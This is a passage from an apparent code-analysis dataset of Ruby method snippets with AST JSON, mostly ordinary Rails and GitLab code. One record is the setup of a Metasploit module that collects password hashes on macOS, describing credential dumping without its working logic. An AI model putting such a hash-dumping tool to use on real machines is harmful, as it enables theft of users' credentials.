(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]}]}","id":"153a96c4-7fac-4e00-abb4-43230c5eae5d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":580,"raw_source":"def test_select_year_with_custom_with_css_classes\n    expected = +%(<select id=\"date_year\" name=\"date[year]\" class=\"my-year\">\\n)\n    expected << %(<option value=\"2003\">2003</option>\\n<option value=\"2004\">2004</option>\\n<option value=\"2005\">2005</option>\\n)\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, with_css_classes: { year: \"my-year\" })\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_year_with_custom_with_css_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"date_year\\\" name=\\\"date[year]\\\" class=\\\"my-year\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"2003\\\">2003</option>\\n<option value=\\\"2004\\\">2004</option>\\n<option value=\\\"2005\\\">2005</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_year\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_year\"]},{\"type\":\"int\",\"children\":[2003]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_year\"]},{\"type\":\"int\",\"children\":[2005]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_css_classes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"str\",\"children\":[\"my-year\"]}]}]}]}]}]}]}]}]}","id":"ad362497-398a-4db3-8c67-52bd1ee71551"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder.rb","start_line":104,"raw_source":"def respond_to_missing?(method_name, _include_private = false)\n        method_name.to_s.starts_with?('add_')\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"optarg\",\"children\":[\"_include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"to_s\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"add_\"]}]}]}","id":"d0a98c74-6b7f-4c75-9c73-b55101b9bf8c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pages/random_domain.rb","start_line":8,"raw_source":"def self.generate(project_path:)\n        new(project_path: project_path).generate\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]}]},\"generate\"]}]}","id":"57677b48-dd31-4963-9a2f-16e8c393ca4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/update_remote_mirror_service.rb","start_line":112,"raw_source":"def hard_retry_or_fail(mirror, message, tries)\n      if tries < MAX_TRIES\n        mirror.hard_retry!(message)\n      else\n        # It's not likely we'll be able to recover from this ourselves, so we'll\n        # notify the users of the problem, and don't trigger any sidekiq retries\n        # Instead, we'll wait for the next change to try the push again, or until\n        # a user manually retries.\n        mirror.hard_fail!(message)\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hard_retry_or_fail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mirror\"]},{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"tries\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tries\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"MAX_TRIES\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mirror\"]},\"hard_retry!\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mirror\"]},\"hard_fail!\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"de3809c5-36d1-43fd-8a9e-3ff9138471de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/group_base.rb","start_line":166,"raw_source":"def set_ip_restriction_range(ip_ranges)\n        put_body = { ip_restriction_ranges: ip_ranges }\n        api_put_to(api_put_path, put_body)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_ip_restriction_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip_ranges\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"put_body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_restriction_ranges\"]},{\"type\":\"lvar\",\"children\":[\"ip_ranges\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"api_put_to\",{\"type\":\"send\",\"children\":[null,\"api_put_path\"]},{\"type\":\"lvar\",\"children\":[\"put_body\"]}]}]}]}","id":"81c04da3-303b-4c8d-9b2e-b1694f612d2b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/test_suite_summary.rb","start_line":22,"raw_source":"def total_time\n          @total_time ||= @build_report_results.sum(&:tests_duration)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"total_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@total_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@build_report_results\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"tests_duration\"]}]}]}]}]}","id":"420a3bc2-9707-41bd-a5e4-4717559fdae8"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":279,"raw_source":"def self.bulk_auto_match_taxons(store, product_ids)\n      return if store.taxons.automatic.none?\n\n      products_to_auto_match_ids = store.products.not_deleted.not_archived.where(id: product_ids).ids\n\n      # for ActiveJob 7.1+\n      if ActiveJob.respond_to?(:perform_all_later)\n        auto_match_taxons_jobs = products_to_auto_match_ids.map do |product_id|\n          Spree::Products::AutoMatchTaxonsJob.new(product_id)\n        end\n\n        ActiveJob.perform_all_later(auto_match_taxons_jobs)\n      else\n        products_to_auto_match_ids.each { |product_id| Spree::Products::AutoMatchTaxonsJob.perform_later(product_id) }\n      end\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bulk_auto_match_taxons\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"store\"]},{\"type\":\"arg\",\"children\":[\"product_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"taxons\"]},\"automatic\"]},\"none?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"products_to_auto_match_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"products\"]},\"not_deleted\"]},\"not_archived\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"product_ids\"]}]}]}]},\"ids\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"perform_all_later\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auto_match_taxons_jobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"products_to_auto_match_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Products\"]},\"AutoMatchTaxonsJob\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"product_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"perform_all_later\",{\"type\":\"lvar\",\"children\":[\"auto_match_taxons_jobs\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"products_to_auto_match_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Products\"]},\"AutoMatchTaxonsJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"product_id\"]}]}]}]}]}]}","id":"048f5392-8d0b-4b56-86ac-4ff6825c0f93"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/37_timelogs.rb","start_line":33,"raw_source":"def ensure_users_are_reporters\n    team = ProjectTeam.new(project)\n\n    users.each do |user|\n      unless team.member?(user, Gitlab::Access::REPORTER)\n        print \"\\nAdding #{user.username} to #{project.full_path} reporters\"\n        team.add_reporter(user)\n      end\n    end\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_users_are_reporters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"team\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectTeam\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"member?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"REPORTER\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nAdding \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\" reporters\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"add_reporter\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}]}","id":"4f572066-2502-4ac7-8fd9-a3e587d72e87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_files.rb","start_line":71,"raw_source":"def batch_size\n        return BATCH_SIZE unless limit\n        return if limit_reached?\n\n        todo = limit - total_cleaned\n        [BATCH_SIZE, todo].min\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit_reached?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"todo\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"total_cleaned\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]},{\"type\":\"lvar\",\"children\":[\"todo\"]}]},\"min\"]}]}]}","id":"493b340a-b1e9-4bb1-958e-b4a8c7964448"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/inflector_test.rb","start_line":147,"raw_source":"def test_camelize_with_true_upcases_the_first_letter\n    assert_equal(\"Capital\", ActiveSupport::Inflector.camelize(\"Capital\", true))\n    assert_equal(\"Capital\", ActiveSupport::Inflector.camelize(\"capital\", true))\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_camelize_with_true_upcases_the_first_letter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Capital\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"camelize\",{\"type\":\"str\",\"children\":[\"Capital\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Capital\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"camelize\",{\"type\":\"str\",\"children\":[\"capital\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"dd571727-7e79-4f73-ad3a-fc466f1941a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/after_export_strategies/web_upload_strategy.rb","start_line":38,"raw_source":"def handle_response_error(response)\n        return if response.success?\n\n        raise StrategyError, \"Error uploading the project. Code #{response.code}: #{response.message}\"\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StrategyError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error uploading the project. Code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]}]}]}]}]}","id":"b631f8bb-44e6-48bf-95ad-3e64493929d4"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/migrator.rb","start_line":36,"raw_source":"def new_database?\n      @db.query_single_splat(<<~SQL) == 0\n        SELECT COUNT(*)\n        FROM sqlite_schema\n        WHERE type = 'table' AND name = 'schema_migrations'\n      SQL\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_database?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"query_single_splat\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COUNT(*)\\n\"]},{\"type\":\"str\",\"children\":[\"FROM sqlite_schema\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE type = 'table' AND name = 'schema_migrations'\\n\"]}]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"22d77492-0890-4889-9a3d-2d036e5e6dd9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/orphan_final_artifacts_cleanup_helpers.rb","start_line":188,"raw_source":"def cursor_tracker_redis_key(filename)\n    \"#{described_class::CURSOR_TRACKER_REDIS_KEY_PREFIX}#{File.basename(filename)}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cursor_tracker_redis_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"CURSOR_TRACKER_REDIS_KEY_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}","id":"82ab0de3-e88b-42ae-991c-b7e63463801c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/encrypted_user_password.rb","start_line":120,"raw_source":"def bcrypt_password_matches_current_stretches?\n    return false unless bcrypt_password?\n\n    ::BCrypt::Password.new(encrypted_password).cost == self.class.stretches\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"bcrypt_password_matches_current_stretches?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bcrypt_password?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"BCrypt\"]},\"Password\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"encrypted_password\"]}]},\"cost\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"stretches\"]}]}]}]}","id":"f5e89423-50d0-495e-9db3-66b27b0d694a"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/asset_host_test.rb","start_line":25,"raw_source":"def test_asset_host_as_string\n    mail = AssetHostMailer.email_with_asset\n    assert_dom_equal '<img src=\"http://www.example.com/images/somelogo.png\" />', mail.body.to_s.strip\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_asset_host_as_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mail\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssetHostMailer\"]},\"email_with_asset\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<img src=\\\"http://www.example.com/images/somelogo.png\\\" />\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"body\"]},\"to_s\"]},\"strip\"]}]}]}]}","id":"ec1a78d3-9a22-49e1-bcbf-da8c43586107"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/hashdump.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OS X Gather Mac OS X Password Hash Collector',\n        'Description' => %q{\n          This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports\n          versions 10.3 to 10.14.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Carlos Perez <carlos_perez[at]darkoperator.com>',\n          'hammackj <jacob.hammack[at]hammackj.com>',\n          'joev'\n        ],\n        'Platform' => [ 'osx' ],\n        'SessionTypes' => %w[shell meterpreter],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        },\n        'References' => [\n          [ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]\n        ]\n      )\n    )\n    register_options([\n      OptRegexp.new('MATCHUSER', [\n        false,\n        'Only attempt to grab hashes for users whose name matches this regex'\n      ])\n    ])\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"OS X Gather Mac OS X Password Hash Collector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports\\n\"]},{\"type\":\"str\",\"children\":[\"          versions 10.3 to 10.14.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Carlos Perez <carlos_perez[at]darkoperator.com>\"]},{\"type\":\"str\",\"children\":[\"hammackj <jacob.hammack[at]hammackj.com>\"]},{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1003_OS_CREDENTIAL_DUMPING\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptRegexp\"]},\"new\",{\"type\":\"str\",\"children\":[\"MATCHUSER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Only attempt to grab hashes for users whose name matches this regex\"]}]}]}]}]}]}]}","id":"7859543f-7628-4092-86fe-cf2cf8a13896"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_test.rb","start_line":229,"raw_source":"def test_fetch_by_title_hit\n    values = []\n    fetch = Spy.on(IdentityCache.cache, :fetch, {}).and_return do |key, &block|\n      case key\n      # Read record with title bob\n      when @index_key then block.call.tap { |val| values << val }\n      # got id, do memcache lookup on that, hit -> done\n      when @blob_key then @cached_value\n      end\n    end\n\n    # Id not found, use sql, SELECT id FROM records WHERE title = '...' LIMIT 1\"\n    Item.connection.expects(ar_query_method(Item.connection)).returns(ActiveRecord::Result.new([\"id\"], [[1]]))\n\n    result = Item.fetch_by_title(\"bob\")\n    assert_instance_of(Item, result)\n    assert_equal(@record.id, result.id)\n    assert_equal([1], values)\n    assert(fetch.has_been_called_with?(@index_key, {}))\n    assert(fetch.has_been_called_with?(@blob_key, {}))\n  end","complexity_score":35.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_by_title_hit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"fetch\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spy\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},{\"type\":\"sym\",\"children\":[\"fetch\"]},{\"type\":\"hash\",\"children\":[]}]},\"and_return\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@index_key\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@blob_key\"]},{\"type\":\"ivar\",\"children\":[\"@cached_value\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"connection\"]},\"expects\",{\"type\":\"send\",\"children\":[null,\"ar_query_method\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"connection\"]}]}]},\"returns\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Result\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_by_title\",{\"type\":\"str\",\"children\":[\"bob\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Item\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetch\"]},\"has_been_called_with?\",{\"type\":\"ivar\",\"children\":[\"@index_key\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\